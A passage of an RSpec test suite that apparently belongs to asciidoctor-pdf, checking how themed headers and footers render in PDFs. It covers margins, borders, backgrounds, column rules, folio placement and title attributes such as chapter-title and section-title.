pdf_theme = { footer_recto_right_content: %(keep\ndrop{does-not-exist}\nattribute-missing={attribute-missing}), footer_verso_left_content: %(keep\ndrop{does-not-exist}\nattribute-missing={attribute-missing}), } doc = to_pdf 'body', attribute_overrides: { 'attribute-missing' => 'warn' }, enable_footer: true, pdf_theme: pdf_theme, to_file: (pdf_io = StringIO.new), analyze: :document (expect doc.attr 'attribute-missing').to eql 'warn' pdf = PDF::Reader.new pdf_io (expect (pdf.page 1).text).to include 'keep attribute-missing=skip' end).to not_log_message end it 'should parse running content as AsciiDoc' do pdf_theme = { footer_recto_right_content: 'footer: *bold* _italic_ `mono`', footer_verso_left_content: 'https://asciidoctor.org[Asciidoctor] AsciiDoc -> PDF', } input = <<~'EOS' page 1 <<< page 2 EOS pdf = to_pdf input, enable_footer: true, pdf_theme: pdf_theme, analyze: true footer_y = (pdf.find_text 'footer: ')[0][:y] bold_text = (pdf.find_text 'bold', page_number: 1, y: footer_y)[0] (expect bold_text).not_to be_nil italic_text = (pdf.find_text 'italic', page_number: 1, y: footer_y)[0] (expect italic_text).not_to be_nil mono_text = (pdf.find_text 'mono', page_number: 1, y: footer_y)[0] (expect mono_text).not_to be_nil link_text = (pdf.find_text 'Asciidoctor', page_number: 2, y: footer_y)[0] (expect link_text).not_to be_nil convert_text = (pdf.find_text %( AsciiDoc \u2192 PDF), page_number: 2, y: footer_y)[0] (expect convert_text).not_to be_nil pdf = to_pdf input, enable_footer: true, pdf_theme: pdf_theme annotations_p2 = get_annotations pdf, 2 (expect annotations_p2).to have_size 1 link_annotation = annotations_p2[0] (expect link_annotation[:Subtype]).to be :Link (expect link_annotation[:A][:URI]).to eql 'https://asciidoctor.org' end it 'should process custom inline macros in content' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: 'offset:{page-number}[2]', footer_verso_left_content: 'offset:{page-number}[2]', } input = <<~'EOS' first <<< last EOS extension_registry = Asciidoctor::Extensions.create do inline_macro :offset do resolve_attributes '1:amount' process do |parent, target, attrs| create_inline parent, :quoted, (target.to_i + attrs['amount'].to_i) end end end pdf = to_pdf input, enable_footer: true, pdf_theme: pdf_theme, extension_registry: extension_registry, analyze: true footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 2 (expect footer_texts[0][:page_number]).to be 1 (expect footer_texts[0][:string]).to eql '3' (expect footer_texts[1][:page_number]).to be 2 (expect footer_texts[1][:string]).to eql '4' end it 'should allow theme to control border style', visual: true do pdf_theme = { footer_border_width: 1, footer_border_style: 'dashed', footer_border_color: '000000', } to_file = to_pdf_file 'content', 'running-content-border-style.pdf', enable_footer: true, pdf_theme: pdf_theme, analyze: :line (expect to_file).to visually_match 'running-content-border-style.pdf' end it 'should not draw background color across whole periphery region', visual: true do pdf_theme = build_pdf_theme \ header_background_color: '009246', header_border_width: 0, header_height: 160, footer_background_color: 'CE2B37', footer_border_width: 0, footer_height: 160, footer_padding: [6, 49, 0, 49], page_margin: [160, 48, 160, 48] to_file = to_pdf_file 'Hello world', 'running-content-background-color.pdf', enable_footer: true, pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-background-color.pdf' end it 'should not draw background color across whole periphery region if margin is 0', visual: true do pdf_theme = build_pdf_theme \ header_background_color: '009246', header_border_width: 0, header_height: 160, header_margin: 0, header_content_margin: [0, 'inherit'], header_padding: [6, 1, 0, 1], footer_background_color: 'CE2B37', footer_border_width: 0, footer_height: 160, footer_padding: [6, 1, 0, 1], footer_margin: 0, footer_content_margin: [0, 'inherit'], page_margin: [160, 48, 160, 48] to_file = to_pdf_file 'Hello world', 'running-content-background-color-full.pdf', enable_footer: true, pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-background-color-full.pdf' end it 'should not draw background image across whole periphery region', visual: true do pdf_theme = build_pdf_theme \ header_background_image: %(image:#{fixture_file 'header-bg-letter.svg'}[fit=contain]), header_border_width: 0, header_height: 30, header_padding: 0, header_recto_left_content: '{page-number}', footer_background_image: %(image:#{fixture_file 'footer-bg-letter.svg'}[fit=contain]), footer_border_width: 0, footer_height: 30, footer_padding: 0, footer_vertical_align: 'middle' to_file = to_pdf_file <<~'EOS', 'running-content-background-image.pdf', enable_footer: true, pdf_theme: pdf_theme :pdf-page-size: Letter Hello, World! EOS (expect to_file).to visually_match 'running-content-background-image.pdf' end it 'should not draw background image across whole periphery region if margin is 0', visual: true do pdf_theme = build_pdf_theme \ header_background_image: %(image:#{fixture_file 'header-bg-letter.svg'}[fit=contain]), header_border_width: 0, header_height: 30, header_padding: 0, header_margin: 0, header_content_margin: [0, 'inherit'], header_recto_left_content: '{page-number}', footer_background_image: %(image:#{fixture_file 'footer-bg-letter.svg'}[fit=contain]), footer_border_width: 0, footer_height: 30, footer_padding: 0, footer_margin: 0, footer_content_margin: [0, 'inherit'], footer_vertical_align: 'middle' to_file = to_pdf_file <<~'EOS', 'running-content-background-image-full.pdf', enable_footer: true, pdf_theme: pdf_theme :pdf-page-size: Letter Hello, World! EOS (expect to_file).to visually_match 'running-content-background-image-full.pdf' end it 'should warn if background image cannot be resolved' do pdf_theme = build_pdf_theme \ footer_background_image: 'no-such-image.png', footer_border_width: 0, footer_height: 30, footer_padding: 0, footer_vertical_align: 'middle' (expect do pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme Hello, World! EOS images = get_images pdf, 1 (expect images).to be_empty end).to log_message severity: :WARN, message: %r(footer background image not found or readable.*data/themes/no-such-image\.png$) end it 'should compute boundary of background image per side if sides have different content width', visual: true do pdf_theme = { page_size: 'Letter', footer_background_image: %(image:#{fixture_file 'footer-bg-letter.svg'}[]), footer_columns: '=100%', footer_border_width: 0, footer_margin: 0, footer_recto_center_content: '', footer_verso_margin: [0, 'inherit'], footer_verso_center_content: '', } to_file = to_pdf_file <<~'EOS', 'running-content-background-image-per-side.pdf', pdf_theme: pdf_theme, enable_footer: true recto <<< verso EOS (expect to_file).to visually_match 'running-content-background-image-per-side.pdf' end it 'should be able to reference page layout in background image path', visual: true do pdf_theme = { footer_background_image: 'image:{imagesdir}/square-{page-layout}.svg[]' } to_file = to_pdf_file <<~'EOS', 'running-content-background-image-per-layout.pdf', pdf_theme: pdf_theme, enable_footer: true page 1 [.landscape] <<< page 2 [.portrait] <<< page 3 EOS (expect to_file).to visually_match 'running-content-background-image-per-layout.pdf' end it 'should allow theme to control side margin of running content using fixed value' do pdf_theme = { header_height: 36, header_padding: 0, header_recto_margin: [0, 10], header_recto_content_margin: 0, header_recto_left_content: 'H', header_verso_margin: [0, 10], header_verso_content_margin: 0, header_verso_right_content: 'H', footer_padding: 0, footer_recto_margin: [0, 10], footer_recto_content_margin: 0, footer_recto_left_content: 'F', footer_verso_margin: [0, 10], footer_verso_content_margin: 0, footer_verso_right_content: 'F', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true page one <<< page two EOS page_width = (get_page_size pdf)[0] p1_header_text = (pdf.find_text 'H', page_number: 1)[0] p1_footer_text = (pdf.find_text 'F', page_number: 1)[0] (expect p1_header_text[:x].round).to eql 10 (expect p1_footer_text[:x].round).to eql 10 p2_header_text = (pdf.find_text 'H', page_number: 2)[0] p2_footer_text = (pdf.find_text 'F', page_number: 2)[0] (expect (page_width - p2_header_text[:x] - p2_header_text[:width]).round).to eql 10 (expect (page_width - p2_footer_text[:x] - p2_footer_text[:width]).round).to eql 10 end it 'should allow theme to control side margin of running content using inherited value' do pdf_theme = { header_height: 36, header_padding: 0, header_recto_margin: [0, 'inherit'], header_recto_left_content: 'H', header_verso_margin: [0, 'inherit'], header_verso_right_content: 'H', footer_padding: 0, footer_recto_margin: [0, 'inherit'], footer_recto_left_content: 'F', footer_verso_margin: [0, 'inherit'], footer_verso_right_content: 'F', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true page one <<< page two EOS page_width = (get_page_size pdf)[0] p1_header_text = (pdf.find_text 'H', page_number: 1)[0] p1_footer_text = (pdf.find_text 'F', page_number: 1)[0] (expect p1_header_text[:x].round).to eql 48 (expect p1_footer_text[:x].round).to eql 48 p2_header_text = (pdf.find_text 'H', page_number: 2)[0] p2_footer_text = (pdf.find_text 'F', page_number: 2)[0] (expect (page_width - p2_header_text[:x] - p2_header_text[:width]).round).to eql 48 (expect (page_width - p2_footer_text[:x] - p2_footer_text[:width]).round).to eql 48 end it 'should allow theme to control side content margin of running content using fixed value' do pdf_theme = { header_height: 36, header_padding: 0, header_recto_margin: [0, 10], header_recto_content_margin: [0, 40], header_recto_left_content: 'H', header_verso_margin: [0, 10], header_verso_content_margin: [0, 40], header_verso_right_content: 'H', footer_padding: 0, footer_recto_margin: [0, 10], footer_recto_content_margin: [0, 40], footer_recto_left_content: 'F', footer_verso_margin: [0, 10], footer_verso_content_margin: [0, 40], footer_verso_right_content: 'F', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true page one <<< page two EOS page_width = (get_page_size pdf)[0] p1_header_text = (pdf.find_text 'H', page_number: 1)[0] p1_footer_text = (pdf.find_text 'F', page_number: 1)[0] (expect p1_header_text[:x].round).to eql 50 (expect p1_footer_text[:x].round).to eql 50 p2_header_text = (pdf.find_text 'H', page_number: 2)[0] p2_footer_text = (pdf.find_text 'F', page_number: 2)[0] (expect (page_width - p2_header_text[:x] - p2_header_text[:width]).round).to eql 50 (expect (page_width - p2_footer_text[:x] - p2_footer_text[:width]).round).to eql 50 end it 'should allow theme to control side content margin of running content using inherited value' do pdf_theme = { header_height: 36, header_padding: 0, header_recto_margin: [0, 10], header_recto_content_margin: [0, 'inherit'], header_recto_left_content: 'H', header_verso_margin: [0, 10], header_verso_content_margin: [0, 'inherit'], header_verso_right_content: 'H', footer_padding: 0, footer_recto_margin: [0, 10], footer_recto_content_margin: [0, 'inherit'], footer_recto_left_content: 'F', footer_verso_margin: [0, 10], footer_verso_content_margin: [0, 'inherit'], footer_verso_right_content: 'F', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true page one <<< page two EOS page_width = (get_page_size pdf)[0] p1_header_text = (pdf.find_text 'H', page_number: 1)[0] p1_footer_text = (pdf.find_text 'F', page_number: 1)[0] (expect p1_header_text[:x].round).to eql 48 (expect p1_footer_text[:x].round).to eql 48 p2_header_text = (pdf.find_text 'H', page_number: 2)[0] p2_footer_text = (pdf.find_text 'F', page_number: 2)[0] (expect (page_width - p2_header_text[:x] - p2_header_text[:width]).round).to eql 48 (expect (page_width - p2_footer_text[:x] - p2_footer_text[:width]).round).to eql 48 end it 'should allow theme to control end margin of running content', visual: true do pdf_theme = { header_background_color: 'EEEEEE', header_border_width: 0, header_height: 24, header_recto_left_content: '{page-number}', header_recto_margin: [6, 0, 0], header_verso_right_content: '{page-number}', header_verso_margin: [6, 0, 0], header_vertical_align: 'top', footer_background_color: 'EEEEEE', footer_border_width: 0, footer_padding: 0, footer_height: 24, footer_recto_margin: [0, 0, 6], footer_verso_margin: [0, 0, 6], } to_file = to_pdf_file <<~'EOS', 'running-content-end-margin.pdf', enable_footer: true, pdf_theme: pdf_theme page one <<< page two EOS (expect to_file).to visually_match 'running-content-end-margin.pdf' end it 'should allow theme to specify margin as single element array' do page_w, page_h = get_page_size to_pdf '', analyze: true pdf_theme = { header_height: 36, header_columns: '<50% >50%', header_line_height: 1, header_padding: 0, header_recto_margin: [10], header_recto_content_margin: [0], header_recto_left_content: %(image:#{fixture_file 'square.png'}[fit=contain]), header_verso_margin: [10], header_verso_content_margin: [0], header_verso_right_content: %(image:#{fixture_file 'square.png'}[fit=contain]), } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, analyze: :image page one <<< page two EOS recto_image, verso_image = pdf.images (expect recto_image[:width]).to eql 36.0 (expect verso_image[:width]).to eql 36.0 (expect recto_image[:x]).to eql 10.0 (expect recto_image[:y]).to eql (page_h - 10.0) (expect verso_image[:x]).to eql (page_w - 10.0 - verso_image[:width]) (expect verso_image[:y]).to eql (page_h - 10.0) end it 'should draw column rule between columns using specified width and spacing', visual: true do pdf_theme = build_pdf_theme \ header_height: 36, header_padding: [8, 0], header_columns: '>40% =10% <40%', header_column_rule_width: 0.5, header_column_rule_color: '333333', header_column_rule_spacing: 8, header_recto_left_content: 'left', header_recto_center_content: 'center', header_recto_right_content: 'right', footer_border_width: 0, footer_padding: [8, 0], footer_columns: '>40% =10% <40%', footer_column_rule_width: 0.5, footer_column_rule_color: '333333', footer_column_rule_spacing: 8, footer_recto_left_content: 'left', footer_recto_center_content: 'center', footer_recto_right_content: 'right' to_file = to_pdf_file <<~'EOS', 'running-content-column-rule.pdf', enable_footer: true, pdf_theme: pdf_theme = Document Title content EOS (expect to_file).to visually_match 'running-content-column-rule.pdf' end it 'should not draw column rule if there is only one column', visual: true do pdf_theme = build_pdf_theme \ header_height: 36, header_padding: [8, 0], header_columns: '<25% =50% >25%', header_column_rule_width: 0.5, header_column_rule_color: '333333', header_column_rule_spacing: 8, header_recto_left_content: 'left', footer_border_width: 0, footer_padding: [8, 0], footer_columns: '<25% =50% >25%', footer_column_rule_width: 0.5, footer_column_rule_color: '333333', footer_column_rule_spacing: 8, footer_recto_right_content: 'right' to_file = to_pdf_file <<~'EOS', 'running-content-no-column-rule.pdf', enable_footer: true, pdf_theme: pdf_theme = Document Title content EOS (expect to_file).to visually_match 'running-content-no-column-rule.pdf' end end context 'Folio placement' do it 'should invert recto and verso if pdf-folio-placement is virtual-inverted' do pdf_theme = { footer_verso_left_content: 'verso', footer_verso_right_content: 'verso', footer_recto_left_content: 'recto', footer_recto_right_content: 'recto', } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true :pdf-folio-placement: virtual-inverted content EOS footer_text = pdf.find_text font_size: 9 (expect footer_text).to have_size 2 (expect footer_text[0][:string]).to eql 'verso' (expect footer_text[1][:string]).to eql 'verso' end it 'should invert recto and verso if pdf-folio-placement is physical-inverted' do pdf_theme = { footer_verso_left_content: 'verso', footer_verso_right_content: 'verso', footer_recto_left_content: 'recto', footer_recto_right_content: 'recto', } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :pdf-folio-placement: physical-inverted :media: print :doctype: book content EOS footer_text = pdf.find_text font_size: 9 (expect footer_text).to have_size 2 (expect footer_text[0][:string]).to eql 'recto' (expect footer_text[1][:string]).to eql 'recto' end it 'should base recto and verso on physical page number if pdf-folio-placement is physical or physical-inverted' do pdf_theme = { footer_verso_left_content: 'verso', footer_verso_right_content: 'verso', footer_recto_left_content: 'recto', footer_recto_right_content: 'recto', } { 'physical' => 'verso', 'physical-inverted' => 'recto' }.each do |placement, side| pdf = to_pdf <<~EOS, pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :pdf-folio-placement: #{placement} :doctype: book :toc: == Chapter #{40.times.map {|it| %(=== Section #{it + 1}) }.join %(\n\n)} EOS (expect pdf.find_text page_number: 4, string: 'Chapter').to have_size 1 body_start_footer_text = pdf.find_text font_size: 9, page_number: 4 (expect body_start_footer_text).to have_size 2 (expect body_start_footer_text[0][:string]).to eql side end end it 'should base recto and verso on physical page if media=prepress even if pdf-folio-placement is set' do pdf_theme = { footer_verso_left_content: 'verso', footer_verso_right_content: 'verso', footer_recto_left_content: 'recto', footer_recto_right_content: 'recto', } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :pdf-folio-placement: virtual-inverted :media: prepress :doctype: book content EOS footer_text = pdf.find_text font_size: 9 (expect footer_text).to have_size 2 (expect footer_text[0][:string]).to eql 'recto' (expect footer_text[1][:string]).to eql 'recto' end end context 'Page layout' do it 'should place footer text correctly if page layout changes' do theme_overrides = { footer_padding: 0, footer_verso_left_content: 'verso', footer_verso_right_content: nil, footer_recto_left_content: 'recto', footer_recto_right_content: nil, } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true portrait [.landscape] <<< landscape [.portrait] portrait EOS (expect pdf.text.size).to be 5 pdf.text.each do |text| (expect text[:x]).to eql 48.24 end end it 'should adjust dimensions of running content to fit page layout', visual: true do filler = lorem_ipsum '2-sentences-2-paragraphs' theme_overrides = { footer_recto_left_content: '{section-title}', footer_recto_right_content: '{page-number}', footer_verso_left_content: '{page-number}', footer_verso_right_content: '{section-title}', } to_file = to_pdf_file <<~EOS, 'running-content-alt-layouts.pdf', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides) = Alternating Page Layouts This document demonstrates that the running content is adjusted to fit the page layout as the page layout alternates. #{filler} [.landscape] <<< == Landscape Page #{filler} [.portrait] <<< == Portrait Page #{filler} EOS (expect to_file).to visually_match 'running-content-alt-layouts.pdf' end end context 'Implicit attributes' do it 'should escape text of doctitle attribute' do theme_overrides = { footer_recto_right_content: '({doctitle})', footer_verso_left_content: '({doctitle})', } (expect do pdf = to_pdf <<~'EOS', enable_footer: true, attribute_overrides: { 'doctitle' => 'The Chronicles of <Foo> & &#166;' }, pdf_theme: (build_pdf_theme theme_overrides), analyze: true :doctype: book == Chapter 1 content EOS running_text = pdf.find_text %(The Chronicles of <Foo> & \u00a6) (expect running_text).to have_size 1 end).to not_log_message end it 'should set document-title and document-subtitle based on doctitle' do pdf_theme = { footer_recto_left_content: '({document-title})', footer_recto_right_content: '[{document-subtitle}]', footer_verso_left_content: '({document-title})', footer_verso_right_content: '[{document-subtitle}]', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title: Subtitle :doctype: book == Beginning == End EOS [2, 3].each do |pgnum| main_title_text = (pdf.find_text page_number: pgnum, string: '(Document Title)')[0] subtitle_text = (pdf.find_text page_number: pgnum, string: '[Subtitle]')[0] (expect main_title_text).not_to be_nil (expect subtitle_text).not_to be_nil end end it 'should use untitled-label for document-title if document does not have doctitle' do pdf_theme = { footer_font_color: 'CCCCCC', footer_recto_right_content: '({document-title})', footer_verso_left_content: '({document-title})', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true :doctype: book == Beginning == End EOS [1, 2].each do |pgnum| doctitle_text = pdf.find_unique_text page_number: pgnum, font_color: 'CCCCCC', string: '(Untitled)' (expect doctitle_text).not_to be_nil end end it 'should set part-title, chapter-title, and section-title based on context of current page' do pdf_theme = { footer_columns: '<25% >70%', footer_recto_left_content: 'FOOTER', footer_recto_right_content: '[{part-title}|{chapter-title}|{section-title}]', footer_verso_left_content: 'FOOTER', footer_verso_right_content: '[{part-title}|{chapter-title}|{section-title}]', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book = Part I == Chapter A === Detail <<< === More Detail == Chapter B = Part II == Chapter C EOS footer_y = (pdf.find_text 'FOOTER')[0][:y] titles_by_page = (pdf.find_text y: footer_y).each_with_object Hash.new do |it, accum| accum[it[:page_number]] = it[:string] unless it[:string] == 'FOOTER' end (expect titles_by_page[2]).to eql '[Part I||]' (expect titles_by_page[3]).to eql '[Part I|Chapter A|Detail]' (expect titles_by_page[4]).to eql '[Part I|Chapter A|More Detail]' (expect titles_by_page[5]).to eql '[Part I|Chapter B|]' (expect titles_by_page[6]).to eql '[Part II||]' (expect titles_by_page[7]).to eql '[Part II|Chapter C|]' end it 'should clear part title on appendix pages of multi-part book' do pdf_theme = { footer_font_color: '0000FF', footer_recto_right_content: '{part-title} ({page-number})', footer_verso_left_content: '{part-title} ({page-number})', } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :doctype: book = Part A == Chapter 1 = Part B == Chapter 2 [appendix] = Installation Describe installation procedure. EOS footer_texts = pdf.find_text page_number: 5, font_color: '0000FF' (expect footer_texts).to have_size 1 (expect footer_texts[0][:string]).to eql 'Part B (4)' footer_texts = pdf.find_text page_number: 6, font_color: '0000FF' (expect footer_texts).to have_size 1 (expect footer_texts[0][:string]).to eql '(5)' end it 'should set chapter-numeral attribute when a chapter is active and sectnums attribute is set' do pdf_theme = { footer_title_style: 'basic', footer_font_color: '0000FF', footer_recto_right_content: %(({chapter-numeral})\n{chapter-title} | {page-number}), footer_verso_left_content: %(({chapter-numeral})\n{chapter-title} | {page-number}), } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :doctype: book :sectnums: preamble == A content <<< more content == B content EOS footer_texts = pdf.find_text font_color: '0000FF' (expect footer_texts).to have_size 4 (expect footer_texts.map {|it| it[:page_number] }).to eql [2, 3, 4, 5] (expect footer_texts.map {|it| it[:string] }).to eql ['Preface | 1', '(1) A | 2', '(1) A | 3', '(2) B | 4'] end it 'should not set chapter-numeral attribute if sectnums attributes is not set' do pdf_theme = { footer_title_style: 'basic', footer_font_color: '0000FF', footer_recto_right_content: %(({chapter-numeral})\n{chapter-title} | {page-number}), footer_verso_left_content: %(({chapter-numeral})\n{chapter-title} | {page-number}), } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :doctype: book preamble == A content <<< more content == B content EOS footer_texts = pdf.find_text font_color: '0000FF' (expect footer_texts).to have_size 4 (expect footer_texts.map {|it| it[:page_number] }).to eql [2, 3, 4, 5] (expect footer_texts.map {|it| it[:string] }).to eql ['Preface | 1', 'A | 2', 'A | 3', 'B | 4'] end it 'should set part-numeral attribute when a part is active and partnums attribute is set' do pdf_theme = { footer_title_style: 'basic', footer_font_color: '0000FF', footer_recto_right_content: %(P{part-numeral} |\n{page-number}), footer_verso_left_content: %(P{part-numeral} |\n{page-number}), } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :doctype: book :partnums: content = A == Chapter content = B == Moar Chapter content EOS footer_texts = pdf.find_text font_color: '0000FF' (expect footer_texts).to have_size 5 (expect footer_texts.map {|it| it[:page_number] }).to eql (2..6).to_a (expect footer_texts.map {|it| it[:string] }).to eql ['1', 'PI | 2', 'PI | 3', 'PII | 4', 'PII | 5'] end it 'should not set part-numeral attribute if partnums attribute is not set' do pdf_theme = { footer_title_style: 'basic', footer_font_color: '0000FF', footer_recto_right_content: %(P{part-numeral} |\n{page-number}), footer_verso_left_content: %(P{part-numeral} |\n{page-number}), } pdf = to_pdf <<~'EOS', pdf_theme: pdf_theme, enable_footer: true, analyze: true = Document Title :doctype: book = A == Chapter content EOS footer_texts = pdf.find_text font_color: '0000FF' (expect footer_texts).to have_size 2 (expect footer_texts.map {|it| it[:page_number] }).to eql [2, 3] (expect footer_texts.map {|it| it[:string] }).to eql %w(1 2) end it 'should not set section-title attribute on pages in preamble of article' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '[{section-title}]', footer_verso_left_content: '[{section-title}]', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title First page of preamble. <<< Second page of preamble. == Section Title EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 2 (expect footer_texts[0][:string]).to eql '[]' (expect footer_texts[1][:string]).to eql '[Section Title]' end it 'should not set section-title attribute if document has no sections' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '[{section-title}]', footer_verso_left_content: '[{section-title}]', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true first page <<< last page EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 2 (expect footer_texts[0][:string]).to eql '[]' (expect footer_texts[1][:string]).to eql '[]' end it 'should set chapter-title to value of preface-title attribute for pages in the preamble' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '{chapter-title}', footer_verso_left_content: '{chapter-title}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :preface-title: PREFACE First page of preface. <<< Second page of preface. == First Chapter EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 3 (expect footer_texts[0][:page_number]).to be 2 (expect footer_texts[0][:string]).to eql 'PREFACE' (expect footer_texts[1][:page_number]).to be 3 (expect footer_texts[1][:string]).to eql 'PREFACE' (expect footer_texts[2][:page_number]).to be 4 (expect footer_texts[2][:string]).to eql 'First Chapter' end it 'should set chapter-title attribute correctly on pages in preface when title page is disabled' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '{chapter-title}', footer_verso_left_content: '{chapter-title}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :notitle: First page of preface. <<< Second page of preface. == First Chapter EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 3 (expect footer_texts[0][:page_number]).to be 1 (expect footer_texts[0][:string]).to eql 'Preface' (expect footer_texts[1][:page_number]).to be 2 (expect footer_texts[1][:string]).to eql 'Preface' (expect footer_texts[2][:page_number]).to be 3 (expect footer_texts[2][:string]).to eql 'First Chapter' end it 'should set chapter-title attribute to value of toc-title attribute on toc pages in default location' do pdf_theme = { running_content_start_at: 'toc', footer_font_color: 'AA0000', footer_recto_right_content: '{page-number} | {chapter-title}', footer_verso_left_content: '{chapter-title} | {page-number}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :toc: :toc-title: Contents == Beginning == End EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 3 (expect footer_texts[0][:page_number]).to be 2 (expect footer_texts[0][:string]).to eql 'Contents | ii' (expect footer_texts[1][:page_number]).to be 3 (expect footer_texts[1][:string]).to eql '1 | Beginning' end it 'should set chapter-title attribute to value of toc-title attribute on toc pages in custom location' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '{page-number} | {chapter-title}', footer_verso_left_content: '{chapter-title} | {page-number}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :doctype: book :toc: macro :toc-title: Contents == Beginning toc::[] == End EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 3 (expect footer_texts[0][:page_number]).to be 2 (expect footer_texts[0][:string]).to eql '1 | Beginning' (expect footer_texts[1][:page_number]).to be 3 (expect footer_texts[1][:string]).to eql 'Contents | 2' (expect footer_texts[2][:page_number]).to be 4 (expect footer_texts[2][:string]).to eql '3 | End' end it 'should set section-title attribute to value of toc-title attribute on toc pages in custom location' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '{page-number} | {section-title}', footer_verso_left_content: '{section-title} | {page-number}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :toc: macro :toc-title: Contents == Beginning <<< toc::[] <<< == End EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 3 (expect footer_texts[0][:page_number]).to be 1 (expect footer_texts[0][:string]).to eql '1 | Beginning' (expect footer_texts[1][:page_number]).to be 2 (expect footer_texts[1][:string]).to eql 'Contents | 2' (expect footer_texts[2][:page_number]).to be 3 (expect footer_texts[2][:string]).to eql '3 | End' end it 'should not set section-title attribute to value of toc-title attribute on toc pages that contain other section' do pdf_theme = { footer_font_color: 'AA0000', footer_recto_right_content: '{page-number} | {section-title}', footer_verso_left_content: '{section-title} | {page-number}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: pdf_theme, analyze: true = Document Title :toc: macro :toc-title: Contents == Beginning toc::[] <<< == End EOS footer_texts = pdf.find_text font_color: 'AA0000' (expect footer_texts).to have_size 2 (expect footer_texts[0][:page_number]).to be 1 (expect footer_texts[0][:string]).to eql '1 | Beginning' (expect footer_texts[1][:page_number]).to be 2 (expect footer_texts[1][:string]).to eql 'End | 2' end it 'should assign section titles down to sectlevels defined in theme' do input = <<~'EOS' = Document Title :doctype: book == A <<< === Level 2 <<< ==== Level 3 <<< ===== Level 4 == B EOS { nil => ['A', 'Level 2', 'Level 2', 'Level 2', 'B'], 2 => ['A', 'Level 2', 'Level 2', 'Level 2', 'B'], 3 => ['A', 'Level 2', 'Level 3', 'Level 3', 'B'], 4 => ['A', 'Level 2', 'Level 3', 'Level 4', 'B'], }.each do |sectlevels, expected| theme_overrides = { footer_sectlevels: sectlevels, footer_font_family: 'Helvetica', footer_recto_right_content: '{section-or-chapter-title}', footer_verso_left_content: '{section-or-chapter-title}', } pdf = to_pdf input, enable_footer: true, pdf_theme: theme_overrides, analyze: true titles = (pdf.find_text font_name: 'Helvetica').map {|it| it[:string] } (expect titles).to eql expected end end it 'should use doctitle, toc-title, and preface-title as chapter-title before first chapter' do theme_overrides = { running_content_start_at: 'title', page_numbering_start_at: 'title', footer_recto_right_content: '{chapter-title}', footer_verso_left_content: '{chapter-title}', } pdf = to_pdf <<~'EOS', enable_footer: true, pdf_theme: (build_pdf_theme theme_overrides), analyze: true = Document Title :doctype: book :toc: content == Chapter 1 content EOS expected_running_content_by_page = { 1 => 'Document Title', 2 => 'Table of Contents', 3 => 'Preface', 4 => 'Chapter 1' } running_content_by_page = (pdf.find_text y: 14.263).each_with_object({}) {|text, accum| accum[text[:page_number]] = text[:string] } (expect running_content_by_page).to eql expected_running_content_by_page end it 'should allow style of title-related attributes to be customized using the title-style key' do input = <<~'EOS' = Document Title :doctype: book :sectnums: :notitle: == Beginning EOS pdf_theme = { footer_recto_left_content: '[{chapter-title}]', footer_recto_right_content: '', footer_verso_left_content: '[{chapter-title}]', footer_verso_right_content: '', footer_font_color: 'AA0000', } [ [nil, 'Chapter 1. Beginning'], ['document', 'Chapter 1. Beginning'], ['toc', '1. Beginning'], %w(basic Beginning), ].each do |(title_style, expected_title)| pdf_theme = pdf_theme.merge footer_title_style: title_style if 